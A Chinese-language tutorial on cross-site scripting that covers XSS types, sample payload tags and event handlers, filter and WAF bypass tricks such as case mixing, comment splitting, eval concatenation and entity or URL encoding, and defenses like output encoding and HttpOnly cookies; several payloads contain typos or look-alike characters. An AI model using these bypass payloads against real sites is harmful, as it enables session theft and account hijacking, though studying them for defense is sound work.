XSS基础知识

声明:本文章仅做技术交流,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关,如有不妥请联系本人删除。

XSS概述

产生原因

XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格 ,导致构建的恶意代码 输入后,在前端浏览的时候被当作有效的代码解析执行从而产生危害。

危害

1)网络钓鱼,盗取各种用户账户。 2)窃取用户的cookies资料,从而获取用户隐私信息。 3)弹出广告页面,获取相关利益。 4)劫持用户会话,执行任意操作。 5)传播蠕虫病毒

XSS分类

反射型

反射型XSS是将用户输入的内容作为代码让浏览器对其进行执行达到攻击的目的,一般需要引诱用户访问攻击者构建的URL 。这种类型的攻击指发生在客户端 上,并且需要访问带有恶意的参数特制的URL,所以也称之为非持久型XSS。

存储型

存储型XSS是将攻击脚本永远嵌入 某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。

DOM型

不经过后端,仅仅是通过网页本身的JavaScript进行渲染触发的。

DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的。

基于DOM型的XSS漏洞是不需要与服务器端交互,它只发生在客户端处理数据的阶段。

前置知识

xss注入主要利用的是html的代码内容。

还有一些特殊的伪协议的利用。

如果看不懂就去找相应的前置知识查看学习。

xss攻击

常用标签

<script>

复制代码
<scirpt>alert("xss");</script>

<img>

复制代码
图片加载错误时触发
    示例:<img src="x" onerror=alert(1)>
鼠标指针移动到元素时触发
  示例:<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
  示例:<img src=1 onmouseout="alert(1")>

<a>

复制代码
<a href="http://www.qq.com">qq</a>
<a href=javascript:alert('1')>test</a>

<input>

复制代码
按下按键时触发
  示例:<input type="text" onkeydown="alert(1)">
按下按键时触发
  示例:<input type="text" onkeypress="alert(1)">
松开按键式时触发
  示例:<input type="text" onkeyup="alert(1)">
竞争焦点,从而触发onblur事件
  示例:<input onblur=alert("xss") autofocus><input autofocus>

<style>

复制代码
<style οnlοad=alert(1)></style>

协议

伪协议:javascript:alert(1)

复制代码
<a href=javascript:alert(1)>dd</a>

除此之外还有:

http://

ftp://

weixin://

weishi://

dy://

事件型

还有一些事件型的内容,在前面也有穿插:

οnerrοr=alert(1) 加载图片失败

οnlοad= 加载成功

οninput= 当框有输入的时候才会触发

οnclick=点击

οnfοcus=对象获得焦点

攻击流程

xss的攻击流程就是在输入框注入合理的内容,然后进行触发拿到想要的内容。

绕过

关键字

在网站或者waf中,可能都会对xss的关键攻击内容进行黑白名单的处理,会禁掉一些如input、JavaScript的特殊内容,这里就涉及到了一些绕过手法:

大小写绕过

html对于大小写不敏感,可以利用大小写混淆过去。

双写绕过

如:<input oonnfocus="alert('xss');">

空格、回车、tab绕过

空格示例:<img src="javascript:alert('xss');">替换为:<img src="java script:alert('xss');">

注释绕过

示例:<script>alert()</script>替换为:<scri<!--2-->pt>alert()</sc<!--8-->ript>

字符拼接

示例:

  <img src="x" οnerrοr="a=aler;b=t;c='(xss);';eval(a+b+c)">

利用top

  示例:

  <script>top"al"+"ert";</script>

编码绕过

Unicode编码

示例:<img src="javascript:

&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#1

15;&#39;&#41;&#59;">

url编码

<img src="javascript:

%61%6C%65%72%74%28%22%78%73%73%22%29%3B;">

ascii编码

base64编码

url

遇到过滤url时,也可使用以下的方式对url进行绕过:

1、url编码绕过

如:

<img src="x" οnerrοr=

document.location=

'http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/'>

2、ip地址绕过

单双引号

当过滤的是单引号、双引号时,可以使用JavaScript伪协议绕过,具体使用方法前面有写,这里就不赘述了。

<>

当网站使用escape()函数时:函数不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换,因此这里只能自己构造闭合

复制代码
';alert(1);'

xss防御

对用户输入的内容及访问的URL进行过滤,对输出内容进行编码,简单来说就是将用户提交的所有内容都进行过滤,排除关键字,敏感内容,对URL的参数也进行一定的过滤,并且对动态输出到页面的内容进行html编码,转换为html实体,使其用户输入的恶意代码无法在浏览器中执行。

具体方法有:

对内容进行黑白名单的过滤

使用http only属性,限制客户端js脚本获取cookie信息

控制输入内容的长度

明确输入内容过滤不合理内容
什么是http-only? HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话) 通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。

相关推荐
赛博守夜人2 小时前
AI安全攻防与治理之十六:对抗样本、恶意文件与多模态攻击,AI 内容安全检测的真实盲区
人工智能·安全
ZEB11064 小时前
首届安全应急救援机器人大赛在广州举办 深圳璇玑动力斩获多项冠军
安全·机器人·消防
未来之窗软件服务6 小时前
WAF负载均衡+蜜罐混淆安全体系-东方仙盟
运维·安全·负载均衡·仙盟创梦ide·东方仙盟·阿雪技术观·网关开发
高德开放平台7 小时前
构建“车-云-端”安全闭环:新大洲本田通过高德开放平台接入“鹰眼守护预警系统”
安全
dora8 小时前
接口被疯狂调用怎么办?聊聊接口限流
后端·安全
国科安芯8 小时前
长期在轨的计算底座:商业空间站与在轨服务飞行器健康管理中的抗辐射MCU—— 面向可维护空间平台的分层容错与安全通信综述
人工智能·单片机·嵌入式硬件·安全·低轨卫星·抗辐射
衡石科技9 小时前
让多轮问数保持口径一致:Data Agent 的上下文、偏好与学习开关
人工智能·学习·安全
用户7908600572610 小时前
扫出 176 个「危险代码」,结果一个都不用删:我的静态安检门禁
安全
武天旭11 小时前
AI安全--AI大模型的关键技术组成
人工智能·深度学习·安全·机器学习
hddata@11 小时前
字符切得准,文本溯得清——高维数据OCR字符分割专利获授权,赋能多行业文本安全应用
安全·ocr